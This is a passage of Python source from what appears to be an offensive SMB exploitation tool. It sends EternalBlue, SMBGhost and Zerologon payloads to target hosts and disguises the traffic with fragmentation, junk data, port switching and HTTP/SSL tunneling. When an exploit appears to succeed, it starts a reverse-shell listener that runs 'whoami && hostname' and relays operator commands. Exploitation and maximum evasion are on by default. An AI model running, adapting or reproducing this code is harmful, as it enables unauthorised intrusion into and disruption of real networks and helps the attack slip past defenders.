                                    params = {
                                        'data': encoded_payload,
                                        'id': random.randint(1000, 9999),
                                        't': int(time.time()),
                                        'token': hashlib.md5(os.urandom(8)).hexdigest()[:8]
                                    }
                                    
                                    if method in ['POST', 'PUT', 'PATCH']:
                                        # Try both form data and JSON
                                        try:
                                            response = self.http_session.request(
                                                method,
                                                url,
                                                json=params if content_type == "application/json" else params,
                                                headers=headers,
                                                timeout=HTTP_TUNNEL_TIMEOUT,
                                                verify=False,
                                                allow_redirects=True
                                            )
                                        except:
                                            response = self.http_session.request(
                                                method,
                                                url,
                                                data=params,
                                                headers=headers,
                                                timeout=HTTP_TUNNEL_TIMEOUT,
                                                verify=False,
                                                allow_redirects=True
                                            )
                                    else:
                                        response = self.http_session.request(
                                            method,
                                            url,
                                            params=params,
                                            headers=headers,
                                            timeout=HTTP_TUNNEL_TIMEOUT,
                                            verify=False,
                                            allow_redirects=True
                                        )
                                    
                                    if response.status_code < 400:
                                        logger.info(f"[EVASION] HTTP tunneling successful on port {current_port}")
                                        return response.content
                                    else:
                                        logger.warning(f"[EVASION] HTTP tunneling got status {response.status_code} on port {current_port}")
                                        
                                except Exception as e:
                                    logger.debug(f"[EVASION] HTTP tunneling failed on port {current_port} with {method} {endpoint}: {str(e)}")
                                    continue
            
            raise Exception("All HTTP tunneling attempts failed")
            
        except Exception as e:
            logger.error(f"[EVASION] HTTP tunneling failed: {str(e)}")
            raise
    
    def switch_protocol(self, host: str) -> int:
        """AI-enhanced protocol switching"""
        if not EVASION_TECHNIQUES["protocol_switching"]:
            return 445
            
        ports_to_try = ALTERNATIVE_PORTS.copy()
        random.shuffle(ports_to_try)
        
        for port in ports_to_try:
            try:
                with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as test_sock:
                    test_sock.settimeout(3)
                    test_sock.connect((host, port))
                    logger.info(f"[EVASION] Successfully connected to alternative port {port}")
                    return port
            except:
                continue
                
        logger.warning("[EVASION] No alternative ports available, using default")
        return 445
    
    def send_evasive_payload(self, host: str, port: int, payload: bytes) -> bytes:
        """Next-gen evasive payload delivery"""
        response = b""
        
        techniques = []
        
        if EVASION_TECHNIQUES["fragmentation"] and random.random() > 0.2:
            techniques.append(EvasionTechnique.FRAGMENTATION)
            
        if EVASION_TECHNIQUES["ssl_tunneling"] and random.random() > 0.4:
            techniques.append(EvasionTechnique.SSL_TUNNELING)
            
        if EVASION_TECHNIQUES["http_tunneling"] and random.random() > 0.6:
            techniques.append(EvasionTechnique.HTTP_TUNNELING)
            
        if not techniques:
            techniques.append(EvasionTechnique.FRAGMENTATION)
        
        technique = random.choice(techniques)
        
        try:
            if technique == EvasionTechnique.FRAGMENTATION:
                fragments = self.fragment_packet_advanced(payload)
                
                with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
                    sock.settimeout(FUZZ_TIMEOUT)
                    sock.connect((host, port))
                    
                    for fragment in fragments:
                        sock.send(fragment)
                        if EVASION_TECHNIQUES["random_delays"]:
                            time.sleep(random.uniform(0.01, 0.5))
                    
                    try:
                        response = sock.recv(65536)
                    except socket.timeout:
                        response = b""
                        
            elif technique == EvasionTechnique.SSL_TUNNELING:
                with self.create_ssl_tunnel(host, port) as ssl_sock:
                    ssl_sock.send(payload)
                    response = ssl_sock.recv(65536)
                    
            elif technique == EvasionTechnique.HTTP_TUNNELING:
                response = self.http_tunnel_payload_advanced(host, port, payload)
                
        except Exception as e:
            logger.error(f"[EVASION] Failed to send evasive payload: {str(e)}")
            
        return response
    
    def assess_target_evasive(self, host: str, port: int = 445, duration: int = 600):
        """AI-enhanced assessment with next-gen evasion"""
        logger.info(f"[EVASION] Starting advanced evasive assessment of {host}:{port}")
        
        target_port = self.switch_protocol(host)
        
        start_time = time.time()
        while time.time() - start_time < duration:
            try:
                strategy = self.select_fuzzing_strategy()
                payload = self.generate_fuzzing_payload(strategy)
                
                if EVASION_TECHNIQUES["junk_data"]:
                    payload = self.insert_junk_data(payload)
                    
                if random.random() > 0.7:
                    payload = self.encrypt_payload(payload)
                
                response = self.send_evasive_payload(host, target_port, payload)
                
                if response:
                    detected = self.detect_vulnerabilities(response, host, target_port)
                    for vuln in detected:
                        logger.info(f"[VULN] {vuln['type']} detected on {host}:{target_port}")
                        
                        if not globals().get("args", argparse.Namespace(no_exploit=True)).no_exploit:
                            exploit_result = self.attempt_evasive_exploitation(
                                host, target_port, vuln
                            )
                            if exploit_result["success"]:
                                logger.info(f"[EXPLOIT-SUCCESS] {vuln['type']} exploited")
                                self.successful_exploits.append(exploit_result)
                                # Start reverse shell listener if exploitation was successful
                                if not self.shell_established:
                                    self.start_reverse_shell_listener()
                
                if EVASION_TECHNIQUES["random_delays"]:
                    time.sleep(random.uniform(0.5, 8.0))
                    
            except Exception as e:
                logger.error(f"[EVASION-ERROR] {host}:{target_port} - {str(e)}")
                target_port = self.switch_protocol(host)
    
    def start_reverse_shell_listener(self):
        """Start a reverse shell listener if not already running"""
        if self.shell_established:
            return
            
        def listener():
            try:
                with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                    s.bind(('0.0.0.0', self.reverse_shell_port))
                    s.listen(5)
                    logger.info(f"[SHELL] Listening for reverse shell on port {self.reverse_shell_port}")
                    
                    while not self.shell_established:
                        try:
                            s.settimeout(5)
                            conn, addr = s.accept()
                            logger.info(f"[SHELL] Connection received from {addr[0]}:{addr[1]}")
                            self.shell_established = True
                            self.shell_connections.append(conn)
                            
                            # Handle the shell session in a new thread
                            threading.Thread(
                                target=self.handle_shell_session, 
                                args=(conn,),
                                daemon=True
                            ).start()
                        except socket.timeout:
                            continue
                        except Exception as e:
                            logger.error(f"[SHELL] Accept error: {str(e)}")
                            break
            except Exception as e:
                logger.error(f"[SHELL] Listener error: {str(e)}")
        
        # Start listener in a separate thread
        self.shell_listener = threading.Thread(target=listener, daemon=True)
        self.shell_listener.start()
    
    def handle_shell_session(self, conn):
        """Handle an established reverse shell session"""
        try:
            # Send initial command to verify shell
            conn.send(b"whoami && hostname\n")
            
            # Simple shell handler
            while self.shell_established:
                try:
                    # Receive data from the shell
                    data = conn.recv(4096)
                    if not data:
                        break
                    
                    # Print received data
                    sys.stdout.write(data.decode('utf-8', errors='ignore'))
                    sys.stdout.flush()
                    
                    # Read user input and send to shell
                    if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
                        cmd = sys.stdin.readline()
                        if cmd.strip().lower() == 'exit':
                            break
                        conn.send(cmd.encode())
                        
                except Exception as e:
                    logger.error(f"[SHELL] Session error: {str(e)}")
                    break
                    
        except Exception as e:
            logger.error(f"[SHELL] Handler error: {str(e)}")
        finally:
            conn.close()
            self.shell_established = False
            logger.info("[SHELL] Connection closed")
    
    def attempt_evasive_exploitation(self, host: str, port: int, vulnerability: Dict) -> Dict:
        """Next-gen exploitation with integrated evasion"""
        result = {
            "vulnerability": vulnerability,
            "success": False,
            "details": "",
            "proof": ""
        }
        
        try:
            if vulnerability["type"] == "CVE-2017-0144":
                payload = self.generate_research_payload("eternal_negotiate")
                payload += self.generate_research_payload("eternal_session")
                payload += self.generate_research_payload("eternal_tree")
                payload += self.generate_research_payload("eternal_trans")
                payload += self.generate_research_payload("eternal_trans2")
                payload += self.generate_shellcode_payload(host)
            elif vulnerability["type"] == "CVE-2020-0796":
                payload = self.generate_research_payload("smb3_negotiate")
                payload += self.generate_research_payload("ghost_compression")
                payload += self.generate_shellcode_payload(host)
            elif vulnerability["type"] == "CVE-2020-1472":
                payload = self.generate_research_payload("zerologon")
            else:
                payload = self.generate_fuzzing_payload(FuzzingStrategy.CHAINED_EXPLOIT)
            
            self.send_evasive_payload(host, port, payload)
            
            time.sleep(3)
            if not self.is_target_responsive(host, port):
                result["success"] = True
                result["details"] = "Target became unresponsive after exploitation attempt"
                result["proof"] = "Service crash"
            else:
                result["details"] = "Target still responsive after exploitation attempt"
                
        except Exception as e:
            logger.error(f"[EVASION-EXPLOIT] Exploitation attempt failed: {str(e)}")
            result["details"] = f"Exploitation attempt failed: {str(e)}"
        
        return result

    def insert_junk_data(self, payload: bytes) -> bytes:
        """AI-enhanced junk data insertion"""
        if not EVASION_TECHNIQUES["junk_data"]:
            return payload
            
        junk_patterns = [
            os.urandom(random.randint(1, 32)),
            b"\x00" * random.randint(1, 24),
            b"\xFF" * random.randint(1, 24),
            b"\x90" * random.randint(1, 32),
            b"\xCC" * random.randint(1, 24)
        ]
        
        junk_positions = random.sample(range(len(payload)), min(8, len(payload) // 15)) if len(payload) > 0 else []
        junk_positions.sort()
        
        result = b""
        last_pos = 0
        
        for pos in junk_positions:
            result += payload[last_pos:pos]
            result += random.choice(junk_patterns)
            last_pos = pos
            
        result += payload[last_pos:]
        return result

    def is_target_responsive(self, host: str, port: int) -> bool:
        """Advanced target responsiveness checking"""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(7)
                s.connect((host, port))
                return True
        except:
            return False

# Enhanced evasion control functions
def enable_evasion_techniques(techniques: List[str]):
    """Enable specific evasion techniques"""
    for technique in EVASION_TECHNIQUES:
        EVASION_TECHNIQUES[technique] = technique in techniques

def set_evasion_level(level: int):
    """Set the evasion level (0-3)"""
    global EVASION_LEVEL
    EVASION_LEVEL = level
    
    if level == 0:
        enable_evasion_techniques([])
    elif level == 1:
        enable_evasion_techniques(["fragmentation", "random_delays"])
    elif level == 2:
        enable_evasion_techniques(["fragmentation", "junk_data", "random_delays", 
                                 "protocol_switching", "traffic_morphing"])
    elif level == 3:
        enable_evasion_techniques(["fragmentation", "junk_data", "random_delays",
                                 "protocol_switching", "ssl_tunneling", "http_tunneling",
                                 "traffic_morphing", "protocol_impersonation"])

def parse_targets(target_spec: str) -> List[str]:
    """Parse target specification"""
    targets = []
    
    if os.path.isfile(target_spec):
        with open(target_spec, 'r') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    targets.append(line)
    else:
        targets = [t.strip() for t in target_spec.split(',') if t.strip()]
    
    return targets

def main():
    """Main function with enhanced evasion options"""
    global HTTP_TUNNEL_TIMEOUT, args

    parser = argparse.ArgumentParser(description="Next-Gen SMB Exploitation Framework with AI Evasion")
    parser.add_argument("--target", type=str, required=True, help="Target host(s) or file containing targets")
    parser.add_argument("-p", "--ports", type=str, default="139,445", help="SMB ports")
    parser.add_argument("-d", "--duration", type=int, default=1200, help="Assessment duration")
    parser.add_argument("-o", "--output", type=str, default="exploitation_results.json")
    parser.add_argument("-e", "--evasion", type=int, default=3, choices=[0, 1, 2, 3], 
                       help="Evasion level (0-3, default: 3)")
    parser.add_argument("--evasion-techniques", type=str, 
                       help="Comma-separated list of evasion techniques to enable")
    parser.add_argument("--no-exploit", action="store_true", help="Disable exploitation attempts")
    parser.add_argument("--http-tunnel", action="store_true", help="Force HTTP tunneling")
    parser.add_argument("--http-timeout", type=int, default=HTTP_TUNNEL_TIMEOUT, 
                       help=f"HTTP tunneling timeout (default: {HTTP_TUNNEL_TIMEOUT})")
    parser.add_argument("--reverse-shell-port", type=int, default=4444, 
                       help="Port for reverse shell connection (default: 4444)")
    parser.add_argument("--reverse-shell-ip", type=str, 
                       help="IP for reverse shell connection (default: public IP)")
    
    args = parser.parse_args()
    
    set_evasion_level(args.evasion)
    
    if args.evasion_techniques:
        techniques = [t.strip() for t in args.evasion_techniques.split(",")]
        enable_evasion_techniques(techniques)
    
    if args.http_tunnel:
        EVASION_TECHNIQUES["http_tunneling"] = True
        EVASION_TECHNIQUES["ssl_tunneling"] = False
        EVASION_TECHNIQUES["fragmentation"] = False
    
    HTTP_TUNNEL_TIMEOUT = args.http_timeout
    
    targets = parse_targets(args.target)
    
    tester = SMBAdvancedExploitationFramework()
    tester.reverse_shell_port = args.reverse_shell_port
    
    if args.reverse_shell_ip:
        tester.reverse_shell_ip = args.reverse_shell_ip
    
    for target in targets:
        if ":" in target:
            host, port_str = target.split(":")
            port = int(port_str)
        else:
            host = target
            port = 445
        
        tester.assess_target_evasive(host, port, args.duration)
    
    results = {
        "crashes": tester.crashes,
        "vulnerabilities": tester.vulnerabilities,
        "successful_exploits": tester.successful_exploits,
        "timestamp": time.time(),
        "evasion_level": args.evasion,
        "evasion_techniques": {k: v for k, v in EVASION_TECHNIQUES.items() if v}
    }
    
    with open(args.output, "w") as f:
        json.dump(results, f, indent=2)
    logger.info(f"[SAVED] Results saved to {args.output}")

if __name__ == "__main__":
    main()